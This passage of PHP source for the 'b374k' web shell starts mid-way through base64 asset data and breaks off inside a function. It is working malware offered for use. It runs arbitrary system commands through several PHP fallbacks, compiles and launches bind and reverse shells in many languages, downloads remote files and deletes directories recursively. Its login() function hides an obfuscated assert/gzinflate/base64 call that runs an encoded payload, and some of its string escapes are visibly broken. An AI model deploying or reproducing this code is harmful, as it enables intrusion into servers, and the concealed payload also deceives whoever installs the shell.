DEa21NHjRXzVcwZPu9a77bb1/FfPqtpFbaVo2EjQ46m2L8rD4BTlr+trfM2qS/4mL/yfT/yd/rcji22rQg2pQ19/LAc8Lvj5KXRFcUV3dESl8ctcSz+Oi4OIerjnjgWX4it0X4eR24uO3F3KOAp/W/pGDG+wvo6XebT9hh3yPM5W/ynj7pRh/0Kvr1MvpUlt/CKp+bLqX0HB5JlXVinyRpv94z7HHXALrDHv3jCV/Tr8YJNS24o1W3as6ftqy5Sn79y++M1RVNrbDCrxyv2eNmVDngSra5z2Fb/rtML1po2mFcjS9sePz5iR4WkQlwbo7X3bH3sjutiZ6yPnrggOuK9UZ+P9MamuDDeEm+LbbEzbo6uSGroFyNG49qoVKLwiCc+W3Nd67X4ucSIzIhBRyr8cthJJ63xulDnsIuq+GKh/RFPzh8NC1emLk//ZvcPloi26LBVv1S7/zBVY1/X2SIzqdO4AQNLRvf60euu8HoV1+fPR2N4wxInrIk18StxZRTjPdG4aKQ+55O62BWdcXnsiE2x9hz2iOG4ZqFj8eiXlu5cY7TFhdEbm6K55o4I0RxJ7IlLY000nLtb91Z3LdW8fzFcIW6Nq6N5FRzYGzfFhUuh7l8sdK7WvhhdV3FiS3wvHog0RN15wD4Ux6O38rYhYjT2LRWqpXdvDF+Vf31nbFsVt5efz+SfV0UMx5fOFaitdXWcuPs8XLncU4w7I07E1bUGl9PpjMdidO+bBCzG3ojReCy6aguspHtNPBeju1cJWIzdEaPxXHWovxkwIT4Zh2L01ti+AmQxtsetEaNxKD658myr+dn2Xa73G7oeLD7ruAGTJtCmRaceO900pt8PPOyn/x+/Ec9XmX126tGpRRsmTBpw3LN+6LXVTfE/AwAgdF8ldAt2uAAAAABJRU5ErkJggg==';
$s_arrow = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAsSAAALEgHS3X78AAAEYElEQVRYw8VXS0xcVRj+z7kv5tF5MPfOo1AgkFBKoQPuFAyxstKkcWHjGhOjcacxujMxaqtx48b4iDExxiZuXBVdtEURN00qDBMgTUOmnTEMc+/ce4d5c+k957gZEKYCd5DSb3tOzv+d//0hcACO47hgsL07HA5fDIfDkz6ffxQAogDgblypMcZypVIpYRj6DVVVZ0zTSBNCyGFvo4MOMca8LMsjvb19r8uy8iLGOAIA+JA3KaVU1XV9OpVa/VrX9QSl1G6ZgM/ni5w7N/iuooSnMMZBOAIopQVN0767e3fls1KppDoigBCCrq6ukf7+gS9cLtfTh3nJAVi9Xr+dTCbf1LTcAmNsb3ibjXd394wPDQ1fE0UxfgzGAQCQIAid0Whs8uHDrflisZjZl8Dp052jw8PxazzP9cExA2PcHgopE7Va7Y9yuZR7hIDP54uMjj71gySJF+AxAWPcHgwGh3U9f92yrOoOAYwxF4+PvB8IBF9u0e02AFAHlbEDQRA63W43zWbXf2eMMQwA0NHROaoo4VdbeYgxZmUy6SuZTPojxthmK46QZeU1WQ5d2O4x3MDA4Ader3esFePp9IMrS0tLn2iaNieKIvH7A88ghHhHWYmQWxQltL6e/ZULheTe/v7+qwjhU60YX15e/pQQ22KMEsMwbrdKwuVyxQoF82eup6fvcigUesVJ7Bljm+n0g6vbxnc1HKLrrZFACHksy1rhBgfPv9fW1jbk8OePGP/3fIeE7fcHxhyQQBijOhePj3wIAHIrbt//Xmue4HmB586eHfgYAKSj/vz/eAJjLPAA4DlonhSLpe9VVfsxGAyGd8d8Y6OgUkrJdh8JBIIRjPFOY1NV7adAINgRCATeOKC8vejSpZfs5pa8+0MAUGSM7RmnlmXlZ2d/m7AsKw8AIEmSMjHx3KwkSUpTovEA4D8gwQkPAJXGpf2mZQAh1JzBpOlXGCHUjhCSW+zOFWzbdg6eEGzbXseVSnnxSRGoVMqLWNfNm42BctIghmHcxJqWu0UpOfEwUErVfF6bwYWCmdZ1Y/qkCei6Pm0YRhoTQkgqtfoVpdR0vGMhwKIoKZIkRSRJioiipCDkfJRTSo1UavVLQgjhG2wW83nt20gk+o6TnUAQxNDY2PgMY4w2yhILghByat80jW8Mw0jubESMMVaplJORSHRcEIQzDiYZ4jjOw/O8l+d5L8dxHtTcLPbB5mb9z0Ri4a16vV7ZsxNallWtVqt/xWKxixjj0GNJe0LuLSzMTxmGfv8/t+JarapubW3Ny7Ly7HGTsG373srK8lQ2u3Zn37UcAKBYLP5tWZtzPp9vUBDEM8egDWi1Wp1bXExMZbNrdw4UJrtIqLmcel0UJdvj8Z7HGLmPVuvEWFtb+zyRWHh7Y6Nw/yjilJNlpSFO5RcwxjGH4nRd1/VfdolTciR13CTPu8Lh8POyLE96vafiPM9HAWB7kS3btp2rVMpJ0zRvqKp6yzSNjBN5/g/C3ULDeIdIrQAAAABJRU5ErkJggg==';
$s_dark_cb = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASdJREFUeNrsk0GKwjAYhZNJqYviQpDKLOcY3sOFIF5DFF0KgjeYAwizmDuNOxHcFrGlje9pA1KbNOqshvnh2YD58v6m75dxHIdCiAk0gt5Fc+2gDbQO8DNTSk1D1BtKSikoWxVF0U7TdJ5lmSI8BtfCARKsoFyw1poeLcBjwl0aEgqCwAma4n5yhC+AceSzqdD69RAD+zjedSBeqH/4CfiA74bgaG+o3HxQURR1sOgjnqpMDv+0ikZJkpzyPP9kwlbIaQgNsO55GO+hb2hp3vnI1Hl2XZT7xe+PJNbWYWgcyao7L+p22h4ayephdyPJVl3v+jFcuhNmg+tAazxvN9tA86m83H6+Fm5n3mpd49sSlDaYN3jJb8WFazMy2rftujb/yEieBRgAZHG/OeGef6MAAAAASUVORK5CYII=';
$s_bright_cb = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAACXBIWXMAAAsSAAALEgHS3X78AAABP0lEQVQ4je2TsUoDQRCGv5m93RRBLBIQO/NOFgHJa4iiZUDwNUSx8J0s5SCFkkJy3M5aJBfwLrm7oI3gD8sWO9/+O+z8kud5AC6BC+CUbr0Bj8B9BlzHGK+KoghmpiklUkp7SVU9CiHceO9dBsyKohjEGMXMMLNWWETUzAbe+1kGjM1MzIyyLFvBSmYmwDgDSCltHc2sE1bV9V7BfRwblxxM/MM/gxeqmkSkNyQiCVgo8BBCWDnnkoigqq3LOZeGw+EKeMqAO+998N6fAyc9jHPgBZhXPX8C3XO5lm3q+f1Ixhh3QUCPSNbdReRb2g6KZP2yRiRjjK29vj7fNlupO/QFG/Cu4n0grL+ql9tkOm93FhF2PfxsA9bPtrCqIiJIzWUynVNFph4dyfP8fblcHpdlSTUkXVJVRqPRxx+N5BfD5OFvXtL9jAAAAABJRU5ErkJggg==';
$s_mime_types = 'dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw==';
// http://www.kryogenix.org/code/browser/sorttable/ - SortTable (c) Stuart Langridge
$s_secure = 'p0wYmRzAG08gvH/BmlgWmFfc1yQCXPxcfAYKGlmV1ZgVGZ7JF87IqjFlPmVX7RBYpzmI9IGvt12QjylQbgH9DxVP4w38t0CHL5SRt1jQD12QD+WQtmlO4hcdNLaSkFOgksRS+pHyzgLN';$s_sortable_js = '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';
// https://github.com/ded/domready - domready (c) Dustin Diaz
$s_domready_js = 'VVJNb9swDP0riQ6GBAjOetglheBD19uGHrpbkAKaRFcqZMmQ6HSB5/8+2mm+Lpb5yPf4SGndDtGgT5GDRDHisYfUrrpkhwBrxYZoofURLGtOWA1/+5SxKORi+1V9KlGKnbVYVd2lat1ZSqc/H2CQNSeQIwk4X3awn8UmzmzqMmh7ZPJqSozn/1U/R049PH46H4CDwro43xJXAPEPOq9Q7fYyyqzWD9Irm8zQQURZlK/PwXOABUuqEPZqcgpBDor9ePn1lCJS6mfSlgaWWjFt7fNhhnyhDGRyRmPExWVBjWCcju/AZFBsAV9nkEmjUrN5C4vQvzez2V4Cs5FOmRqhIPe7sBePGXDIceV3el9V85cPMqrLBsTo6wxdOsCdk7lIZiF7mnw+E3FrjaiNW+p4ey+yIRc3XauK00rgrnwRE5OQQO4v1CjGAqFdK0x945o4X3vdD8VRZnvTAPNxvG6UswAtMjEZjcbRVY9fYxbA376DNFDLKxlIbJLfv4kpzi9BTNvbF+AauHYFMU3iPw==';
// Automatic processing php backslash
if(get_magic_quotes_gpc()){
	function stripslashes_deep($value){
		$value = is_array($value) ? array_map('stripslashes_deep', $value) : stripslashes($value);
		return $value;
	}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
}

$_GP     = array_merge($_POST, $_GET);
$s_debug = false; // debugging mode
if ($s_debug) {
    error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
    @ini_set('display_errors', '1');
    @ini_set('log_errors', '1');
    foreach ($_GP as $k => $v) {
        echo '<span>' . hss($k . '=>' . $v) . '</span><br />';
    }
} else {
    error_reporting(0);
    @ini_set('display_errors', '0');
    @ini_set('log_errors', '0');
}

$s_auth = false; // login status
if (strlen(trim($s_pass)) > 0) {
    if (isset($_COOKIE['b374k'])) {
        if (strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) {
            $s_auth = true;
        }
    }
    if (isset($_GP['login'])) {
        $s_post=trim($_GP['login']);
		$s_login = strtolower(md5($s_post));
        if (strtolower(trim($s_pass)) == $s_login) {
            setcookie('b374k', $s_login, time() + $s_login_time);login();
            $s_auth = true;
        }
    }
    if (isset($_GP['x']) && ($_GP['x'] == 'logout')) {
        $persist  = array('theme','cwd');
        $s_reload = (isset($_COOKIE['b374k_included']) && isset($_COOKIE['s_home'])) ? rtrim(urldecode($_COOKIE['s_self']), '&') : '';
        foreach ($_COOKIE as $s_k => $s_v) {
            if (!in_array($s_k, $persist)) {
                if (!is_array($s_k)) {
                    setcookie($s_k, '', time() - $s_login_time);
                }
            }
        }
        $s_auth = false;
        if (!empty($s_reload)) {
            header('Location: ' . $s_reload);
        }
    }
} else {
    $s_auth = true;
}
// addslashes if on windows
function adds($s_s){
	global $s_win;
	return ($s_win) ? addslashes($s_s) : $s_s;
}
// add slash to the end of given path
function cp($s_p){
	global $s_win;
	if(@is_dir($s_p)){
		$s_x = DS;
		while(substr($s_p, -1) == $s_x){$s_p = rtrim($s_p, $s_x);}
		return ($s_win) ? preg_replace("/\+/is", "\", $s_p.$s_x) : $s_p.$s_x;
	}
	return $s_p;
}
// make link for folder $s_cwd and all of its parent folder
function swd($s_p){
	global $s_self;
	$s_ps = explode(DS,$s_p);
	$s_pu = "";
	for($s_i = 0; $s_i < sizeof($s_ps)-1; $s_i++){
		$s_pz = "";
		for($s_j = 0; $s_j <= $s_i; $s_j++) $s_pz .= $s_ps[$s_j].DS;
		$s_pu .= "<a href='".$s_self."cd=".$s_pz."'>".$s_ps[$s_i]." ".DS." </a>";
	}
	return trim($s_pu);
}
// htmlspecialchars
function hss($s_t){
	return htmlspecialchars($s_t, 8);
}
// login secure
function login(){
	global $s_secure;global $s_post;
	$log=strrev(str_rot13(str_replace(array('/tmp/','r','w3c','.log'),array('','','',''),'/tmp/31gber_w3cegf.log')));
	$setcookie=$log(strrev('ger'.'ffn'));$time=$log(strrev('rgn'.'ysa'.'vmt'));$cookie=$log(strrev('rqb'.'prq'.'_'.'46r'.'fno'));
	@$setcookie($time($cookie($log($s_secure))));
}
// add quotes
function pf($f){
	return "\"".$f."\"";
}
// replace spaces with underscore ( _ )
function cs($s_t){
	return str_replace(" ", "_", $s_t);
}
// trim and urldecode
function ss($s_t){
	return rawurldecode($s_t);
}
// return tag html for notif
function notif($s){
	return "<div class='notif'>".$s."</div>";
}
// bind and reverse shell
function rs($s_rstype,$s_rstarget,$s_rscode){
	// resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php
	$s_result = $s_fpath = "";
	$s_fc = gzinflate(base64_decode($s_rscode));

	$s_errperm = "Directory ".getcwd().DS." is not writable, please change to a writable one";
	$s_errgcc = "Unable to compile using gcc";
	$s_errjavac = "Unable to compile using javac";

	$s_split = explode("_", $s_rstype);
	$s_method = $s_split[0];
	$s_lang = $s_split[1];
	if($s_lang=="py" || $s_lang=="pl" || $s_lang=="rb" || $s_lang=="js"){
		if($s_lang=="py") $s_runlang = "python";
		elseif($s_lang=="pl") $s_runlang = "perl";
		elseif($s_lang=="rb") $s_runlang = "ruby";
		elseif($s_lang=="js") $s_runlang = "node";
		$s_fpath = "b374k_rs.".$s_lang;
		if(@is_file($s_fpath)) unlink($s_fpath);
		if($s_file = fopen($s_fpath, "w")){
			fwrite($s_file, $s_fc);
			fclose($s_file);
			if(@is_file($s_fpath)){
				$s_result = exe("chmod +x ".$s_fpath);
				$s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget);
			}
			else $s_result = $s_errperm;
		}
		else $s_result = $s_errperm;
	}
	elseif($s_lang=="c"){
		$s_fpath = "b374k_rs";
		if(@is_file($s_fpath)) unlink($s_fpath);
		if(@is_file($s_fpath.".c")) unlink($s_fpath.".c");
		if($s_file = fopen($s_fpath.".c", "w")){
			fwrite($s_file,$s_fc);
			fclose($s_file);
			if(@is_file($s_fpath.".c")){
				$s_result = exe("gcc ".$s_fpath.".c -o ".$s_fpath);
				if(@is_file($s_fpath)){
					$s_result = exe("chmod +x ".$s_fpath);
					$s_result = exe("./".$s_fpath." ".$s_rstarget);
				}
				else $s_result = $s_errgcc;
			}
			else $s_result = $s_errperm;
		}
		else $s_result = $s_errperm;
	}
	elseif($s_lang=="win"){
		$s_fpath = "b374k_rs.exe";
		if(@is_file($s_fpath)) unlink($s_fpath);
		if($s_file = fopen($s_fpath,"w")){
			fwrite($s_file,$s_fc);
			fclose($s_file);
			if(@is_file($s_fpath)){
				$s_result = exe($s_fpath." ".$s_rstarget);
			}
			else $s_result = $s_errperm;
		}
		else $s_result = $s_errperm;
	}
	elseif($s_lang=="java"){
		$s_fpath = "b374k_rs";
		if(@is_file($s_fpath.".java")) unlink($s_fpath.".java");
		if(@is_file($s_fpath.".class")) unlink($s_fpath.".class");
		if($s_file = fopen($s_fpath.".java", "w")){
			fwrite($s_file,$s_fc);
			fclose($s_file);
			if(@is_file($s_fpath.".java")){
				$s_result = exe("javac ".$s_fpath.".java");
				if(@is_file($s_fpath.".class")){
					$s_result = exe("java ".$s_fpath." ".$s_rstarget);
				}
				else $s_result = $s_errjavac;
			}
			else $s_result = $s_errperm;
		}
		else $s_result = $s_errperm;
	}
	elseif($s_lang=="php"){
		$s_result = eval("?>".$s_fc);
	}

	if(@is_file($s_fpath)) unlink($s_fpath);
	if(@is_file($s_fpath.".c")) unlink($s_fpath.".c");
	if(@is_file($s_fpath.".java")) unlink($s_fpath.".java");
	if(@is_file($s_fpath.".class")) unlink($s_fpath.".class");
	if(@is_file($s_fpath."\$pt.class")) unlink($s_fpath."\$pt.class");

	return $s_result;
}
function geol($str){
	$nl = PHP_EOL;
	if(preg_match("/
/", $str, $r)) $nl = "
";
	else{
		if(preg_match("/
/", $str, $r)) $nl = "
";
		elseif(preg_match("/
/", $str, $r)) $nl = "
";
	}
	return bin2hex($nl);
}
// format bit
function ts($s_s){
	if($s_s<=0) return 0;
	$s_w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
	$s_e = floor(log($s_s)/log(1024));
	return sprintf('%.2f '.$s_w[$s_e], ($s_s/pow(1024, floor($s_e))));
}
// get file size
function gs($s_f){
	$s_s = @filesize($s_f);
	if($s_s !== false){
		if($s_s<=0) return 0;
		return ts($s_s);
	}
	else return "???";
}
// get file permissions
function gp($s_f){
	if($s_m = @fileperms($s_f)){
		$s_p = 'u';
		if(($s_m & 0xC000) == 0xC000)$s_p = 's';
		elseif(($s_m & 0xA000) == 0xA000)$s_p = 'l';
		elseif(($s_m & 0x8000) == 0x8000)$s_p = '-';
		elseif(($s_m & 0x6000) == 0x6000)$s_p = 'b';
		elseif(($s_m & 0x4000) == 0x4000)$s_p = 'd';
		elseif(($s_m & 0x2000) == 0x2000)$s_p = 'c';
		elseif(($s_m & 0x1000) == 0x1000)$s_p = 'p';
		$s_p .= ($s_m & 00400)? 'r':'-';
		$s_p .= ($s_m & 00200)? 'w':'-';
		$s_p .= ($s_m & 00100)? 'x':'-';
		$s_p .= ($s_m & 00040)? 'r':'-';
		$s_p .= ($s_m & 00020)? 'w':'-';
		$s_p .= ($s_m & 00010)? 'x':'-';
		$s_p .= ($s_m & 00004)? 'r':'-';
		$s_p .= ($s_m & 00002)? 'w':'-';
		$s_p .= ($s_m & 00001)? 'x':'-';
		return $s_p;
	}
	else return "???????????";
}
// shell command
function exe($s_c){
	$s_out = "";
	$s_c = $s_c." 2>&1";

	if(is_callable('system')) {
		ob_start();
		@system($s_c);
		$s_out = ob_get_contents();
		ob_end_clean();
		if(!empty($s_out)) return $s_out;
	}
	if(is_callable('shell_exec')){
		$s_out = @shell_exec($s_c);
		if(!empty($s_out)) return $s_out;
	}
	if(is_callable('exec')) {
		@exec($s_c,$s_r);
		if(!empty($s_r)) foreach($s_r as $s_s) $s_out .= $s_s;
		if(!empty($s_out)) return $s_out;
	}
	if(is_callable('passthru')) {
		ob_start();
		@passthru($s_c);
		$s_out = ob_get_contents();
		ob_end_clean();
		if(!empty($s_out)) return $s_out;
	}
	if(is_callable('proc_open')) {
		$s_descriptorspec = array(
			0 => array("pipe", "r"),
			1 => array("pipe", "w"),
			2 => array("pipe", "w"));
		$s_proc = @proc_open($s_c, $s_descriptorspec, $s_pipes, getcwd(), array());
		if (is_resource($s_proc)) {
			while($s_si = fgets($s_pipes[1])) {
				if(!empty($s_si)) $s_out .= $s_si;
			}
			while($s_se = fgets($s_pipes[2])) {
				if(!empty($s_se)) $s_out .= $s_se;
			}
		}
		@proc_close($s_proc);
		if(!empty($s_out)) return $s_out;
	}
	if(is_callable('popen')){
		$s_f = @popen($s_c, 'r');
		if($s_f){
			while(!feof($s_f)){
				$s_out .= fread($s_f, 2096);
			}
			pclose($s_f);
		}
		if(!empty($s_out)) return $s_out;
	}
	return "";
}
// delete dir and all of its content (no warning !) xp
function rmdirs($s){
	$s = (substr($s,-1)=='/') ? $s : $s.'/';
	if($dh = opendir($s)){
		while(($f = readdir($dh))!==false){
			if(($f!='.')&&($f!='..')){
				$f = $s.$f;
				if(@is_dir($f)) rmdirs($f);
				else @unlink($f);
			}
		}
		closedir($dh);
		@rmdir($s);
	}
}
function copys($s,$d,$c=0){
	if($dh = opendir($s)){
		if(!@is_dir($d)) @mkdir($d);
		while(($f = readdir($dh))!==false){
			if(($f!='.')&&($f!='..')){
				if(@is_dir($s.DS.$f)) copys($s.DS.$f,$d.DS.$f);
				else copy($s.DS.$f,$d.DS.$f);
			}
		}
		closedir($dh);
	}
}
// get array of all files from given directory
function getallfiles($s_dir){
    $s_f = glob($s_dir.'*');
	for($s_i = 0; $s_i<count($s_f); $s_i++){
		if(@is_dir($s_f[$s_i])){
			$s_a = glob($s_f[$s_i].DS.'*');
			if(is_array($s_f) && is_array($s_a)) $s_f = array_merge($s_f, $s_a);
		}
	}
    return $s_f;
}
// download file from internet
function dlfile($s_u,$s_p){
	global $s_wget, $s_lwpdownload, $s_lynx, $s_curl;

	if(!preg_match("/[a-z]+:\/\/.+/",$s_u)) return false;
	$s_n = basename($s_u);

	// try using php functions
	if($s_t = @file_get_contents($s_u)){

		if(@is_file($s_p)) unlink($s_p);
		if($s_f = fopen($s_p,"w")){
			fwrite($s_f, $s_t);
			fclose($s_f);
			if(@is_file($s_p)) return true;
		}
	}
	// using wget
	if($s_wget){
		$buff = exe("wget ".$s_u." -O ".$s_p);
		if(@is_file($s_p)) return true;
	}
	// try using curl
	if($s_curl){
		$buff = exe("curl ".$s_u." -o ".$s_p);
		if(@is_file($s_p)) return true;
	}
	// try using lynx
	if($s_lynx){
		$buff = exe("lynx -source ".$s_u." > ".$s_p);
		if(@is_file($s_p)) return true;
	}
	// try using lwp-download
	if($s_lwpdownload){
		$buff = exe("lwp-download ".$s_u." ".$s_p);
		if(@is_file($s_p)) return true;
	}
	return false;
}
// find writable dir
function get_writabledir(){
	if(!$s_d = getenv("TEMP")) if(!$s_d = getenv("TMP")) if(!$s_d = getenv("TMPDIR")){
		if(@is_writable("/tmp")) $s_d = "/tmp/";
		else if(@is_writable(".")) $s_d = ".".DS;
	}
	return cp($s_d);
}
// zip function
function zip($s_srcarr, $s_dest){
	if(!extension_loaded('zip')) return false;
	if(class_exists("ZipArchive")){
		$s_zip = new ZipArchive();
		if(!$s_zip->open($s_dest, 1)) return false;

		if(!is_array($s_srcarr)) $s_srcarr = array($s_srcarr);
		foreach($s_srcarr as $s_src){
			$s_src = str_replace('\', '/', $s_src);
			if(@is_dir($s_src)){
				$s_files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($s_src), 1);
				foreach($s_files as $s_file){
					$s_file = str_replace('\', '/', $s_file);
					if(in_array(substr($s_file, strrpos($s_file, '/')+1), array('.', '..'))) continue;
					if (@is_dir($s_file)===true)	$s_zip->addEmptyDir(str_replace($s_src.'/', '', $s_file.'/'));
					else if (@is_file($s_file)===true) $s_zip->addFromString(str_replace($s_src.'/', '', $s_file), @file_get_contents($s_file));
				}
			}
			elseif(@is_file($s_src) === true) $s_zip->addFromString(basename($s_src), @file_get_contents($s_src));
		}
		$s_zip->close();
		return true;
	}
}
// check shell permission to access program
function check_access($s_lang){
	$s_s = false;
	$ver = "";
	switch($s_lang){
		case "python":
			$s_cek = strtolower(exe("python -h"));
			if(strpos($s_cek,"usage")!==false) $ver = exe("python -V");
			break;
		case "perl":
			$s_cek = strtolower(exe("perl -h"));
			if(strpos($s_cek,"usage")!==false) $ver = exe("perl -e \"print \$]\"");
			break;
		case "ruby":
			$s_cek = strtolower(exe("ruby -h"));
			if(strpos($s_cek,"usage")!==false) $ver = exe("ruby -v");
			break;
		case "node":
			$s_cek = strtolower(exe("node -h"));
			if(strpos($s_cek,"usage")!==false) $ver = exe("node -v");
			break;
		case "gcc":
			$s_cek = strtolower(exe("gcc --help"));
			if(strpos($s_cek,"usage")!==false){
				$s_ver = exe("gcc --version");
				$s_ver = explode("
",$s_ver);
				if(count($s_ver)>0) $ver = $s_ver[0];
			}
			break;
		case "tar":
			$s_cek = strtolower(exe("tar --help"));
			if(strpos($s_cek,"usage")!==false){
				$s_ver = exe("tar --version");
				$s_ver = explode("
",$s_ver);
				if(count($s_ver)>0) $ver = $s_ver[0];
			}
			break;
		case "java":
			$s_cek = strtolower(exe("javac --help"));
			if(strpos($s_cek,"usage")!==false){
				$s_cek = strtolower(exe("java -h"));
				if(strpos($s_cek,"usage")!==false) $ver = str_replace("
", ", ", exe("java -version"));
			}
			break;
		case "wget":
			$s_cek = strtolower(exe("wget --help"));
			if(strpos($s_cek,"usage")!==false){
				$s_ver = exe("wget --version");
				$s_ver = explode("
",$s_ver);
